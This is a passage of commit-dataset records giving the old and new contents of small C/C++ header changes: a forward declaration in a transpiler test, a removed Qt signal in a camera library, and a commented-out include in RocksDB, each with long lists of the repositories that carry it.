kia,Tesla-Redux\/android_external_skia,Fusion-Rom\/external_chromium_org_third_party_skia,HealthyHoney\/temasek_SKIA,TeamBliss-LP\/android_external_skia,amyvmiwei\/skia,mydongistiny\/external_chromium_org_third_party_skia,xzzz9097\/android_external_skia,AOSPA-L\/android_external_skia,mmatyas\/skia,Infinitive-OS\/platform_external_skia,UBERMALLOW\/external_skia,YUPlayGodDev\/platform_external_skia,AOSPU\/external_chromium_org_third_party_skia,InfinitiveOS\/external_skia,DiamondLovesYou\/skia-sys,AndroidOpenDevelopment\/android_external_skia,mydongistiny\/external_chromium_org_third_party_skia,OptiPop\/external_chromium_org_third_party_skia,MIPS\/external-chromium_org-third_party-skia,vanish87\/skia,aospo\/platform_external_skia,todotodoo\/skia,AOSP-YU\/platform_external_skia,pacerom\/external_skia,tmpvar\/skia.cc,AOSP-YU\/platform_external_skia,Plain-Andy\/android_platform_external_skia,nfxosp\/platform_external_skia,HalCanary\/skia-hc,MarshedOut\/android_external_skia,Hikari-no-Tenshi\/android_external_skia,fire855\/android_external_skia,Asteroid-Project\/android_external_skia,ctiao\/platform-external-skia,android-ia\/platform_external_skia,aosp-mirror\/platform_external_skia,MyAOSP\/external_chromium_org_third_party_skia,rubenvb\/skia,geekboxzone\/lollipop_external_skia,nvoron23\/skia,AndroidOpenDevelopment\/android_external_skia,AOSPU\/external_chromium_org_third_party_skia,NamelessRom\/android_external_skia,Omegaphora\/external_chromium_org_third_party_skia,byterom\/android_external_skia,TeslaProject\/external_skia,HealthyHoney\/temasek_SKIA,mozilla-b2g\/external_skia,aospo\/platform_external_skia,CyanogenMod\/android_external_chromium_org_third_party_skia,InfinitiveOS\/external_skia,nox\/skia,Fusion-Rom\/android_external_skia,qrealka\/skia-hc,shahrzadmn\/skia,vanish87\/skia,OneRom\/external_skia,MonkeyZZZZ\/platform_external_skia,timduru\/platform-external-skia,suyouxin\/android_external_skia,samuelig\/skia,VRToxin-AOSP\/android_external_skia,invisiblek\/android_external_skia,akiss77\/skia,Fusion-Rom\/external_chromium_org_third_party_skia,mmatyas\/skia,timduru\/platform-external-skia,vvuk\/skia,Hikari-no-Tenshi\/android_external_skia,chenlian2015\/skia_from_google,android-ia\/platform_external_skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,vanish87\/skia,MinimalOS\/android_external_skia,mydongistiny\/external_chromium_org_third_party_skia,HalCanary\/skia-hc,HealthyHoney\/temasek_SKIA,AOSPU\/external_chromium_org_third_party_skia,MarshedOut\/android_external_skia,MyAOSP\/external_chromium_org_third_party_skia,AOSPB\/external_skia,TeslaProject\/external_skia,OptiPop\/external_skia,TeamTwisted\/external_skia,xin3liang\/platform_external_chromium_org_third_party_skia,OptiPop\/external_skia,larsbergstrom\/skia,Igalia\/skia,zhaochengw\/platform_external_skia,xin3liang\/platform_external_chromium_org_third_party_skia,TeamEOS\/external_chromium_org_third_party_skia,Plain-Andy\/android_platform_external_skia,GladeRom\/android_external_skia,sudosurootdev\/external_skia,InfinitiveOS\/external_skia,zhaochengw\/platform_external_skia,Euphoria-OS-Legacy\/android_external_skia,ominux\/skia,MonkeyZZZZ\/platform_external_skia,scroggo\/skia,Fusion-Rom\/android_external_skia,Omegaphora\/external_skia,MinimalOS\/external_chromium_org_third_party_skia,Infinitive-OS\/platform_external_skia,DARKPOP\/external_chromium_org_third_party_skia,samuelig\/skia,mozilla-b2g\/external_skia,MinimalOS-AOSP\/platform_external_skia,codeaurora-unoffical\/platform-external-skia,DiamondLovesYou\/skia-sys,AOSPU\/external_chromium_org_third_party_skia,vanish87\/skia,w3nd1go\/android_external_skia,HealthyHoney\/temasek_SKIA,mozilla-b2g\/external_skia,google\/skia,DiamondLovesYou\/skia-sys,Jichao\/skia,mmatyas\/skia,invisiblek\/android_external_skia,aospo\/platform_external_skia,OptiPop\/external_chromium_org_third_party_skia,MinimalOS-AOSP\/platform_external_skia,shahrzadmn\/skia,nox\/skia,DiamondLovesYou\/skia-sys,TeslaProject\/external_skia,vvuk\/skia,jtg-gg\/skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,boulzordev\/android_external_skia,OptiPop\/external_chromium_org_third_party_skia,aospo\/platform_external_skia,xzzz9097\/android_external_skia,tmpvar\/skia.cc,larsbergstrom\/skia,Pure-Aosp\/android_external_skia,ench0\/external_skia,sudosurootdev\/external_skia,OneRom\/external_skia,FusionSP\/android_external_skia,MinimalOS\/android_external_chromium_org_third_party_skia,F-AOSP\/platform_external_skia,suyouxin\/android_external_skia,pacerom\/external_skia,vvuk\/skia,HealthyHoney\/temasek_SKIA,spezi77\/android_external_skia,scroggo\/skia,TeamEOS\/external_skia,google\/skia,google\/skia,TeamTwisted\/external_skia,MonkeyZZZZ\/platform_external_skia,google\/skia,mydongistiny\/android_external_skia,MinimalOS\/android_external_skia,AsteroidOS\/android_external_skia,mozilla-b2g\/external_skia,AOSPA-L\/android_external_skia,pacerom\/external_skia,geekboxzone\/lollipop_external_skia,vvuk\/skia,AndroidOpenDevelopment\/android_external_skia,sigysmund\/platform_external_skia,android-ia\/platform_external_skia,samuelig\/skia,MinimalOS\/external_skia,MIPS\/external-chromium_org-third_party-skia,MyAOSP\/external_chromium_org_third_party_skia,noselhq\/skia,HalCanary\/skia-hc,PAC-ROM\/android_external_skia,timduru\/platform-external-skia,android-ia\/platform_external_chromium_org_third_party_skia,Igalia\/skia,geekboxzone\/lollipop_external_skia,TeamExodus\/external_skia,TeslaOS\/android_external_skia,ench0\/external_chromium_org_third_party_skia,Jichao\/skia,houst0nn\/external_skia,AOSPB\/external_skia,Infusion-OS\/android_external_skia,tmpvar\/skia.cc,TeamEOS\/external_skia,Euphoria-OS-Legacy\/android_external_skia,FusionSP\/external_chromium_org_third_party_skia,temasek\/android_external_skia,UBERMALLOW\/external_skia,android-ia\/platform_external_skia,TeamExodus\/external_skia,OneRom\/external_skia,nvoron23\/skia,sudosurootdev\/external_skia,noselhq\/skia,ominux\/skia,Hikari-no-Tenshi\/android_external_skia,amyvmiwei\/skia,pcwalton\/skia,MinimalOS\/external_chromium_org_third_party_skia,MonkeyZZZZ\/platform_external_skia,Jichao\/skia,VRToxin-AOSP\/android_external_skia,MarshedOut\/android_external_skia,amyvmiwei\/skia,MinimalOS\/external_chromium_org_third_party_skia,noselhq\/skia,pcwalton\/skia,InfinitiveOS\/external_skia,android-ia\/platform_external_chromium_org_third_party_skia,DiamondLovesYou\/skia-sys,VentureROM-L\/android_external_skia,todotodoo\/skia,Infusion-OS\/android_external_skia,Asteroid-Project\/android_external_skia,ench0\/external_skia,codeaurora-unoffical\/platform-external-skia,TeamTwisted\/external_skia,F-AOSP\/platform_external_skia,ench0\/external_chromium_org_third_party_skia,AOSPB\/external_skia,MonkeyZZZZ\/platform_external_skia,ench0\/external_chromium_org_third_party_skia,ench0\/external_skia,Omegaphora\/external_skia,mozilla-b2g\/external_skia,qrealka\/skia-hc,amyvmiwei\/skia,Purity-Lollipop\/platform_external_skia,OptiPop\/external_skia,AndroidOpenDevelopment\/android_external_skia,InfinitiveOS\/external_skia,aospo\/platform_external_skia,w3nd1go\/android_external_skia,CyanogenMod\/android_external_chromium_org_third_party_skia,OptiPop\/external_chromium_org_third_party_skia,w3nd1go\/android_external_skia,VentureROM-L\/android_external_skia,MinimalOS\/external_chromium_org_third_party_skia,Hybrid-Rom\/external_skia,mydongistiny\/android_external_skia,mmatyas\/skia,Infusion-OS\/android_external_skia,VRToxin-AOSP\/android_external_skia,akiss77\/skia,xzzz9097\/android_external_skia,sudosurootdev\/external_skia,SlimSaber\/android_external_skia,amyvmiwei\/skia,akiss77\/skia,nox\/skia,MinimalOS\/external_skia,HealthyHoney\/temasek_SKIA,DesolationStaging\/android_external_skia,TeamTwisted\/external_skia,geekboxzone\/mmallow_external_skia,google\/skia,xin3liang\/platform_external_chromium_org_third_party_skia,noselhq\/skia,todotodoo\/skia,TeamEOS\/external_chromium_org_third_party_skia,TeamBliss-LP\/android_external_skia,MinimalOS\/external_skia,NamelessRom\/android_external_skia,Hikari-no-Tenshi\/android_external_skia,amyvmiwei\/skia,VRToxin-AOSP\/android_external_skia,MinimalOS-AOSP\/platform_external_skia,YUPlayGodDev\/platform_external_skia,pcwalton\/skia,Euphoria-OS-Legacy\/android_external_skia,ench0\/external_chromium_org_third_party_skia,geekboxzone\/lollipop_external_skia,pcwalton\/skia,aosp-mirror\/platform_external_skia,FusionSP\/android_external_skia,aospo\/platform_external_skia,ctiao\/platform-external-skia,houst0nn\/external_skia,nfxosp\/platform_external_skia,TeslaProject\/external_skia,Pure-Aosp\/android_external_skia,android-ia\/platform_external_chromium_org_third_party_skia,geekboxzone\/lollipop_external_skia,TeamEOS\/external_chromium_org_third_party_skia,TeamExodus\/external_skia,ominux\/skia,TeslaProject\/external_skia,fire855\/android_external_skia,timduru\/platform-external-skia,PAC-ROM\/android_external_skia,rubenvb\/skia,HalCanary\/skia-hc,larsbergstrom\/skia,Infinitive-OS\/platform_external_skia,AOSPB\/external_skia,qrealka\/skia-hc,OptiPop\/external_skia,xzzz9097\/android_external_skia,Omegaphora\/external_skia,PAC-ROM\/android_external_skia,GladeRom\/android_external_skia,vvuk\/skia,samuelig\/skia,BrokenROM\/external_skia,shahrzadmn\/skia,AOSPA-L\/android_external_skia,geekboxzone\/mmallow_external_skia,byterom\/android_external_skia,AsteroidOS\/android_external_skia,MinimalOS\/external_skia,samuelig\/skia,MIPS\/external-chromium_org-third_party-skia,TeamEOS\/external_chromium_org_third_party_skia,rubenvb\/skia,BrokenROM\/external_skia,MinimalOS\/external_skia,AsteroidOS\/android_external_skia,MinimalOS\/external_chromium_org_third_party_skia,sudosurootdev\/external_skia,VentureROM-L\/android_external_skia,android-ia\/platform_external_chromium_org_third_party_skia,Hikari-no-Tenshi\/android_external_skia,w3nd1go\/android_external_skia,temasek\/android_external_skia,temasek\/android_external_skia,TeslaOS\/android_external_skia,VentureROM-L\/android_external_skia,rubenvb\/skia,mydongistiny\/external_chromium_org_third_party_skia,sombree\/android_external_skia,InfinitiveOS\/external_skia,todotodoo\/skia,vanish87\/skia,Omegaphora\/external_chromium_org_third_party_skia,OptiPop\/external_chromium_org_third_party_skia,GladeRom\/android_external_skia,ench0\/external_chromium_org_third_party_skia,w3nd1go\/android_external_skia,codeaurora-unoffical\/platform-external-skia,MinimalOS\/external_chromium_org_third_party_skia,sombree\/android_external_skia,UBERMALLOW\/external_skia,DARKPOP\/external_chromium_org_third_party_skia,spezi77\/android_external_skia,android-ia\/platform_external_chromium_org_third_party_skia,YUPlayGodDev\/platform_external_skia,scroggo\/skia,invisiblek\/android_external_skia,houst0nn\/external_skia,MonkeyZZZZ\/platform_external_skia,Jichao\/skia,Igalia\/skia,scroggo\/skia,Khaon\/android_external_skia,wildermason\/external_skia,larsbergstrom\/skia,wildermason\/external_skia,Purity-Lollipop\/platform_external_skia,AOSPA-L\/android_external_skia,mydongistiny\/external_chromium_org_third_party_skia,suyouxin\/android_external_skia,OptiPop\/external_chromium_org_third_party_skia,Android-AOSP\/external_skia,ominux\/skia,Android-AOSP\/external_skia,shahrzadmn\/skia,AOSPB\/external_skia,SlimSaber\/android_external_skia,sigysmund\/platform_external_skia,akiss77\/skia,VentureROM-L\/android_external_skia,geekboxzone\/mmallow_external_skia,MinimalOS\/external_skia,PAC-ROM\/android_external_skia,TeamTwisted\/external_skia,suyouxin\/android_external_skia,OptiPop\/external_skia,ench0\/external_chromium_org_third_party_skia,VRToxin-AOSP\/android_external_skia,RadonX-ROM\/external_skia,Fusion-Rom\/android_external_skia,CyanogenMod\/android_external_chromium_org_third_party_skia,mydongistiny\/android_external_skia,tmpvar\/skia.cc,codeaurora-unoffical\/platform-external-skia,MyAOSP\/external_chromium_org_third_party_skia,FusionSP\/external_chromium_org_third_party_skia,aosp-mirror\/platform_external_skia,NamelessRom\/android_external_skia,fire855\/android_external_skia,TeamEOS\/external_chromium_org_third_party_skia,MinimalOS-AOSP\/platform_external_skia,TeamEOS\/external_skia,nvoron23\/skia,todotodoo\/skia,MinimalOS\/external_skia,ctiao\/platform-external-skia,SlimSaber\/android_external_skia,Pure-Aosp\/android_external_skia,RadonX-ROM\/external_skia,shahrzadmn\/skia,MinimalOS\/android_external_skia,mozilla-b2g\/external_skia,rubenvb\/skia,FusionSP\/external_chromium_org_third_party_skia,PAC-ROM\/android_external_skia,DesolationStaging\/android_external_skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,Omegaphora\/external_chromium_org_third_party_skia,Jichao\/skia,TeslaProject\/external_skia,chenlian2015\/skia_from_google,Jichao\/skia,MinimalOS\/android_external_chromium_org_third_party_skia,Fusion-Rom\/android_external_skia,Tesla-Redux\/android_external_skia,akiss77\/skia,Purity-Lollipop\/platform_external_skia,MinimalOS-AOSP\/platform_external_skia,Fusion-Rom\/android_external_skia,Samsung\/skia,ench0\/external_skia,FusionSP\/android_external_skia,UBERMALLOW\/external_skia,VentureROM-L\/android_external_skia,pcwalton\/skia,nfxosp\/platform_external_skia,nfxosp\/platform_external_skia,sigysmund\/platform_external_skia,boulzordev\/android_external_skia,nfxosp\/platform_external_skia,SlimSaber\/android_external_skia,samuelig\/skia,Fusion-Rom\/android_external_skia,AOSP-YU\/platform_external_skia,MinimalOS\/external_chromium_org_third_party_skia,timduru\/platform-external-skia,AndroidOpenDevelopment\/android_external_skia,nfxosp\/platform_external_skia,boulzordev\/android_external_skia,TeamBliss-LP\/android_external_skia,ctiao\/platform-external-skia,HalCanary\/skia-hc,tmpvar\/skia.cc,TeslaOS\/android_external_skia,sigysmund\/platform_external_skia,Omegaphora\/external_skia,AOSPU\/external_chromium_org_third_party_skia,shahrzadmn\/skia,chenlian2015\/skia_from_google,GladeRom\/android_external_skia,nvoron23\/skia,sombree\/android_external_skia,YUPlayGodDev\/platform_external_skia,nvoron23\/skia,Fusion-Rom\/android_external_skia,Infusion-OS\/android_external_skia,TeslaOS\/android_external_skia,qrealka\/skia-hc,boulzordev\/android_external_skia,Infusion-OS\/android_external_skia,Purity-Lollipop\/platform_external_skia,mydongistiny\/android_external_skia,mmatyas\/skia,w3nd1go\/android_external_skia,qrealka\/skia-hc,Khaon\/android_external_skia,sudosurootdev\/external_skia,zhaochengw\/platform_external_skia,android-ia\/platform_external_chromium_org_third_party_skia,vvuk\/skia,Asteroid-Project\/android_external_skia,geekboxzone\/mmallow_external_skia,BrokenROM\/external_skia,AOSP-YU\/platform_external_skia,android-ia\/platform_external_chromium_org_third_party_skia,SlimSaber\/android_external_skia,AsteroidOS\/android_external_skia,TeamEOS\/external_skia,YUPlayGodDev\/platform_external_skia,TeslaOS\/android_external_skia,AOSPB\/external_skia,boulzordev\/android_external_skia,Asteroid-Project\/android_external_skia,pacerom\/external_skia,Asteroid-Project\/android_external_skia,Jichao\/skia,TeamTwisted\/external_skia,rubenvb\/skia,InfinitiveOS\/external_skia,F-AOSP\/platform_external_skia,fire855\/android_external_skia,Omegaphora\/external_skia,VRToxin-AOSP\/android_external_skia,scroggo\/skia,MarshedOut\/android_external_skia,MarshedOut\/android_external_skia,nfxosp\/platform_external_skia,F-AOSP\/platform_external_skia,GladeRom\/android_external_skia,PAC-ROM\/android_external_skia,geekboxzone\/mmallow_external_skia,VRToxin-AOSP\/android_external_skia,qrealka\/skia-hc,Fusion-Rom\/external_chromium_org_third_party_skia,mmatyas\/skia,google\/skia,scroggo\/skia,ench0\/external_skia,AOSPA-L\/android_external_skia,MIPS\/external-chromium_org-third_party-skia,geekboxzone\/lollipop_external_skia,GladeRom\/android_external_skia,DesolationStaging\/android_external_skia,codeaurora-unoffical\/platform-external-skia,android-ia\/platform_external_skia,xzzz9097\/android_external_skia,android-ia\/platform_external_skia,OptiPop\/external_skia,TeslaProject\/external_skia,TeslaOS\/android_external_skia,Plain-Andy\/android_platform_external_skia,noselhq\/skia,rubenvb\/skia,Asteroid-Project\/android_external_skia,sombree\/android_external_skia,scroggo\/skia,akiss77\/skia,MinimalOS\/android_external_skia,DARKPOP\/external_chromium_org_third_party_skia,xin3liang\/platform_external_chromium_org_third_party_skia,TeamBliss-LP\/android_external_skia,suyouxin\/android_external_skia,TeamTwisted\/external_skia,TeamEOS\/external_chromium_org_third_party_skia,VentureROM-L\/android_external_skia,boulzordev\/android_external_skia,Hybrid-Rom\/external_skia,Hybrid-Rom\/external_skia,NamelessRom\/android_external_skia,codeaurora-unoffical\/platform-external-skia,Plain-Andy\/android_platform_external_skia,invisiblek\/android_external_skia,Omegaphora\/external_chromium_org_third_party_skia,Euphoria-OS-Legacy\/android_external_skia,boulzordev\/android_external_skia,Pure-Aosp\/android_external_skia,FusionSP\/external_chromium_org_third_party_skia,AOSPU\/external_chromium_org_third_party_skia,Hikari-no-Tenshi\/android_external_skia,TeslaOS\/android_external_skia,ctiao\/platform-external-skia,tmpvar\/skia.cc,ominux\/skia,NamelessRom\/android_external_skia,rubenvb\/skia,noselhq\/skia,mydongistiny\/android_external_skia,zhaochengw\/platform_external_skia,Samsung\/skia"}
{"commit":"a7089ed884ed2227fc45671eda3fe979e43545b9","old_file":"tests\/files\/transpiler\/base_class.h","new_file":"tests\/files\/transpiler\/base_class.h","old_contents":"#ifndef BASE_CLASS_H_\n#define BASE_CLASS_H_\n\nclass BaseAutoFunction {\n  public:\n    bool Init(CitrusRobot *robot, std::vector<void *>);\n    bool Periodic(CitrusRobot *robot, std::vector<void *>);\n  private:\n    \/\/none\n};\n\n#endif\n","new_contents":"#ifndef BASE_CLASS_H_\n#define BASE_CLASS_H_\n\nclass CitrusRobot;\n\nclass BaseAutoFunction {\n  public:\n    bool Init(CitrusRobot *robot, std::vector<void *>);\n    bool Periodic(CitrusRobot *robot, std::vector<void *>);\n  private:\n    \/\/none\n};\n\n#endif\n","subject":"Fix compilation issue in tests by forward-declaring CitrusRobot","message":"Fix compilation issue in tests by forward-declaring CitrusRobot\n","lang":"C","license":"mit","repos":"WesleyAC\/lemonscript-transpiler,WesleyAC\/lemonscript-transpiler,WesleyAC\/lemonscript-transpiler"}
{"commit":"60288500c0eca5d620a81637bc4d0d7e290befd4","old_file":"lib\/qtcamimagemode.h","new_file":"lib\/qtcamimagemode.h","old_contents":"\/\/ -*- c++ -*-\n\n#ifndef QT_CAM_IMAGE_MODE_H\n#define QT_CAM_IMAGE_MODE_H\n\n#include \"qtcammode.h\"\n#include <gst\/pbutils\/encoding-profile.h>\n\nclass QtCamDevicePrivate;\nclass QtCamImageModePrivate;\nclass QtCamImageSettings;\n\nclass QtCamImageMode : public QtCamMode {\n  Q_OBJECT\n\npublic:\n  QtCamImageMode(QtCamDevicePrivate *d, QObject *parent = 0);\n  ~QtCamImageMode();\n\n  virtual bool canCapture();\n  virtual void applySettings();\n\n  bool capture(const QString& fileName);\n\n  bool setSettings(const QtCamImageSettings& settings);\n\n  void setProfile(GstEncodingProfile *profile);\n\nsignals:\n  void imageSaved(const QString& fileName);\n\nprotected:\n  virtual void start();\n  virtual void stop();\n\nprivate:\n  QtCamImageModePrivate *d_ptr;\n};\n\n#endif \/* QT_CAM_IMAGE_MODE_H *\/\n","new_contents":"\/\/ -*- c++ -*-\n\n#ifndef QT_CAM_IMAGE_MODE_H\n#define QT_CAM_IMAGE_MODE_H\n\n#include \"qtcammode.h\"\n#include <gst\/pbutils\/encoding-profile.h>\n\nclass QtCamDevicePrivate;\nclass QtCamImageModePrivate;\nclass QtCamImageSettings;\n\nclass QtCamImageMode : public QtCamMode {\n  Q_OBJECT\n\npublic:\n  QtCamImageMode(QtCamDevicePrivate *d, QObject *parent = 0);\n  ~QtCamImageMode();\n\n  virtual bool canCapture();\n  virtual void applySettings();\n\n  bool capture(const QString& fileName);\n\n  bool setSettings(const QtCamImageSettings& settings);\n\n  void setProfile(GstEncodingProfile *profile);\n\nprotected:\n  virtual void start();\n  virtual void stop();\n\nprivate:\n  QtCamImageModePrivate *d_ptr;\n};\n\n#endif \/* QT_CAM_IMAGE_MODE_H *\/\n","subject":"Remove imageSaved() signal as it is old code.","message":"Remove imageSaved() signal as it is old code.\n","lang":"C","license":"lgpl-2.1","repos":"mlehtima\/cameraplus,mer-hybris-kis3\/cameraplus,mer-hybris-kis3\/cameraplus,alinelena\/cameraplus,mer-hybris-kis3\/cameraplus,alinelena\/cameraplus,mlehtima\/cameraplus,alinelena\/cameraplus,foolab\/cameraplus,mer-hybris-kis3\/cameraplus,foolab\/cameraplus,foolab\/cameraplus,mlehtima\/cameraplus,foolab\/cameraplus,mlehtima\/cameraplus,alinelena\/cameraplus"}
{"commit":"43e98256254baeacdbc6a9af90385ec68c1cda3d","old_file":"include\/rocksdb\/utilities\/convenience.h","new_file":"include\/rocksdb\/utilities\/convenience.h","old_contents":"\/\/ Copyright (c) 2014, Facebook, Inc.  All rights reserved.\n\/\/ This source code is licensed under the BSD-style license found in the\n\/\/ LICENSE file in the root directory of this source tree. An additional grant\n\/\/ of patent rights can be found in the PATENTS file in the same directory.\n\n#pragma once\n\n#include \"utilities\/pragma_error.h\"\n\n\/\/ TODO(agiardullo):  need to figure out how to make this portable\n\/\/ ROCKSDB_WARNING(\"This file was moved to rocksdb\/convenience.h\")\n\n#include \"rocksdb\/convenience.h\"\n","new_contents":"\/\/ Copyright (c) 2014, Facebook, Inc.  All rights reserved.\n\/\/ This source code is licensed under the BSD-style license found in the\n\/\/ LICENSE file in the root directory of this source tree. An additional grant\n\/\/ of patent rights can be found in the PATENTS file in the same directory.\n\n#pragma once\n\n\/\/ #include \"utilities\/pragma_error.h\"\n\/\/ TODO(agiardullo):  need to figure out how to make this portable\n\/\/ ROCKSDB_WARNING(\"This file was moved to rocksdb\/convenience.h\")\n\n#include \"rocksdb\/convenience.h\"\n","subject":"Fix mongo build -take 2","message":"Fix mongo build -take 2\n\nSummary: quick fix for now.  will figure out a better fix soon\n\nTest Plan: build\n\nReviewers: sdong, igor, kradhakrishnan\n\nSubscribers: dhruba, leveldb\n\nDifferential Revision: https:\/\/reviews.facebook.net\/D42381\n","lang":"C","license":"bsd-3-clause","repos":"flabby\/rocksdb,wenduo\/rocksdb,vmx\/rocksdb,kaschaeffer\/rocksdb,anagav\/rocksdb,biddyweb\/rocksdb,JohnPJenkins\/rocksdb,SunguckLee\/RocksDB,wskplho\/rocksdb,anagav\/rocksdb,JohnPJenkins\/rocksdb,luckywhu\/rocksdb,RyanTech\/rocksdb,anagav\/rocksdb,norton\/rocksdb,dkorolev\/rocksdb,JackLian\/rocksdb,JohnPJenkins\/rocksdb,RyanTech\/rocksdb,siddhartharay007\/rocksdb,facebook\/rocksdb,kaschaeffer\/rocksdb,makelivedotnet\/rocksdb,SunguckLee\/RocksDB,jalexanderqed\/rocksdb,SunguckLee\/RocksDB,makelivedotnet\/rocksdb,mbarbon\/rocksdb,biddyweb\/rocksdb,mbarbon\/rocksdb,luckywhu\/rocksdb,lgscofield\/rocksdb,skunkwerks\/rocksdb,hobinyoon\/rocksdb,dkorolev\/rocksdb,mbarbon\/rocksdb,alihalabyah\/rocksdb,ryneli\/rocksdb,hobinyoon\/rocksdb,biddyweb\/rocksdb,temicai\/rocksdb,flabby\/rocksdb,anagav\/rocksdb,ryneli\/rocksdb,caijieming-baidu\/rocksdb,facebook\/rocksdb,wenduo\/rocksdb,Applied-Duality\/rocksdb,wenduo\/rocksdb,OverlordQ\/rocksdb,zhangpng\/rocksdb,Andymic\/rocksdb,Vaisman\/rocksdb,dkorolev\/rocksdb,kaschaeffer\/rocksdb,tsheasha\/rocksdb,norton\/rocksdb,temicai\/rocksdb,SunguckLee\/RocksDB,geraldoandradee\/rocksdb,flabby\/rocksdb,norton\/rocksdb,wat-ze-hex\/rocksdb,wat-ze-hex\/rocksdb,ylong\/rocksdb,tsheasha\/rocksdb,RyanTech\/rocksdb,jalexanderqed\/rocksdb,fengshao0907\/rocksdb,siddhartharay007\/rocksdb,caijieming-baidu\/rocksdb,bbiao\/rocksdb,alihalabyah\/rocksdb,alihalabyah\/rocksdb,geraldoandradee\/rocksdb,RyanTech\/rocksdb,makelivedotnet\/rocksdb,Vaisman\/rocksdb,jalexanderqed\/rocksdb,JoeWoo\/rocksdb,ylong\/rocksdb,flabby\/rocksdb,caijieming-baidu\/rocksdb,hobinyoon\/rocksdb,kaschaeffer\/rocksdb,biddyweb\/rocksdb,skunkwerks\/rocksdb,wenduo\/rocksdb,kaschaeffer\/rocksdb,bbiao\/rocksdb,geraldoandradee\/rocksdb,anagav\/rocksdb,Applied-Duality\/rocksdb,Applied-Duality\/rocksdb,caijieming-baidu\/rocksdb,wskplho\/rocksdb,luckywhu\/rocksdb,JackLian\/rocksdb,tsheasha\/rocksdb,JackLian\/rocksdb,facebook\/rocksdb,hobinyoon\/rocksdb,wenduo\/rocksdb,wskplho\/rocksdb,norton\/rocksdb,Vaisman\/rocksdb,tizzybec\/rocksdb,lgscofield\/rocksdb,wskplho\/rocksdb,ylong\/rocksdb,JohnPJenkins\/rocksdb,hobinyoon\/rocksdb,wenduo\/rocksdb,tizzybec\/rocksdb,siddhartharay007\/rocksdb,ylong\/rocksdb,mbarbon\/rocksdb,sorphi\/rocksdb,JackLian\/rocksdb,anagav\/rocksdb,lgscofield\/rocksdb,kaschaeffer\/rocksdb,Vaisman\/rocksdb,wat-ze-hex\/rocksdb,anagav\/rocksdb,vmx\/rocksdb,zhangpng\/rocksdb,Andymic\/rocksdb,Andymic\/rocksdb,fengshao0907\/rocksdb,hobinyoon\/rocksdb,facebook\/rocksdb,SunguckLee\/RocksDB,norton\/rocksdb,vashstorm\/rocksdb,ryneli\/rocksdb,wat-ze-hex\/rocksdb,biddyweb\/rocksdb,fengshao0907\/rocksdb,flabby\/rocksdb,fengshao0907\/rocksdb,skunkwerks\/rocksdb,JoeWoo\/rocksdb,wskplho\/rocksdb,Andymic\/rocksdb,JohnPJenkins\/rocksdb,wlqGit\/rocksdb,wat-ze-hex\/rocksdb,vashstorm\/rocksdb,siddhartharay007\/rocksdb,Applied-Duality\/rocksdb,norton\/rocksdb,luckywhu\/rocksdb,wlqGit\/rocksdb,siddhartharay007\/rocksdb,norton\/rocksdb,wenduo\/rocksdb,ryneli\/rocksdb,SunguckLee\/RocksDB,fengshao0907\/rocksdb,tsheasha\/rocksdb,makelivedotnet\/rocksdb,JoeWoo\/rocksdb,facebook\/rocksdb,wskplho\/rocksdb,luckywhu\/rocksdb,skunkwerks\/rocksdb,OverlordQ\/rocksdb,dkorolev\/rocksdb,vashstorm\/rocksdb,jalexanderqed\/rocksdb,geraldoandradee\/rocksdb,facebook\/rocksdb,RyanTech\/rocksdb,makelivedotnet\/rocksdb,JackLian\/rocksdb,bbiao\/rocksdb,hobinyoon\/rocksdb,tsheasha\/rocksdb,zhangpng\/rocksdb,Andymic\/rocksdb,bbiao\/rocksdb,OverlordQ\/rocksdb,lgscofield\/rocksdb,vashstorm\/rocksdb,wlqGit\/rocksdb,alihalabyah\/rocksdb,skunkwerks\/rocksdb,OverlordQ\/rocksdb,Vaisman\/rocksdb,ryneli\/rocksdb,Vaisman\/rocksdb,jalexanderqed\/rocksdb,JohnPJenkins\/rocksdb,mbarbon\/rocksdb,sorphi\/rocksdb,sorphi\/rocksdb,alihalabyah\/rocksdb,skunkwerks\/rocksdb,alihalabyah\/rocksdb,SunguckLee\/RocksDB,dkorolev\/rocksdb,wat-ze-hex\/rocksdb,facebook\/rocksdb,zhangpng\/rocksdb,JackLian\/rocksdb,biddyweb\/rocksdb,RyanTech\/rocksdb,wenduo\/rocksdb,dkorolev\/rocksdb,OverlordQ\/rocksdb,temicai\/rocksdb,geraldoandradee\/rocksdb,wat-ze-hex\/rocksdb,ylong\/rocksdb,temicai\/rocksdb,wlqGit\/rocksdb,ylong\/rocksdb,fengshao0907\/rocksdb,lgscofield\/rocksdb,bbiao\/rocksdb,Vaisman\/rocksdb,vmx\/rocksdb,zhangpng\/rocksdb,mbarbon\/rocksdb,caijieming-baidu\/rocksdb,sorphi\/rocksdb,Andymic\/rocksdb,temicai\/rocksdb,tizzybec\/rocksdb,tsheasha\/rocksdb,ryneli\/rocksdb,vmx\/rocksdb,JoeWoo\/rocksdb,kaschaeffer\/rocksdb,vashstorm\/rocksdb,tizzybec\/rocksdb,vmx\/rocksdb,luckywhu\/rocksdb,OverlordQ\/rocksdb,Applied-Duality\/rocksdb,Andymic\/rocksdb,Andymic\/rocksdb,vashstorm\/rocksdb,sorphi\/rocksdb,caijieming-baidu\/rocksdb,siddhartharay007\/rocksdb,makelivedotnet\/rocksdb,wskplho\/rocksdb,sorphi\/rocksdb,wlqGit\/rocksdb,tsheasha\/rocksdb,zhangpng\/rocksdb,RyanTech\/rocksdb,tizzybec\/rocksdb,flabby\/rocksdb,zhangpng\/rocksdb,facebook\/rocksdb,bbiao\/rocksdb,JohnPJenkins\/rocksdb,tsheasha\/rocksdb,temicai\/rocksdb,temicai\/rocksdb,norton\/rocksdb,flabby\/rocksdb,lgscofield\/rocksdb,ylong\/rocksdb,bbiao\/rocksdb,dkorolev\/rocksdb,jalexanderqed\/rocksdb,tizzybec\/rocksdb,Applied-Duality\/rocksdb,geraldoandradee\/rocksdb,vmx\/rocksdb,OverlordQ\/rocksdb,luckywhu\/rocksdb,tizzybec\/rocksdb,caijieming-baidu\/rocksdb,makelivedotnet\/rocksdb,JoeWoo\/rocksdb,JoeWoo\/rocksdb,wlqGit\/rocksdb,Applied-Duality\/rocksdb,geraldoandradee\/rocksdb,SunguckLee\/RocksDB,sorphi\/rocksdb,skunkwerks\/rocksdb,wlqGit\/rocksdb,hobinyoon\/rocksdb,jalexanderqed\/rocksdb,mbarbon\/rocksdb,alihalabyah\/rocksdb,bbiao\/rocksdb,vmx\/rocksdb,lgscofield\/rocksdb,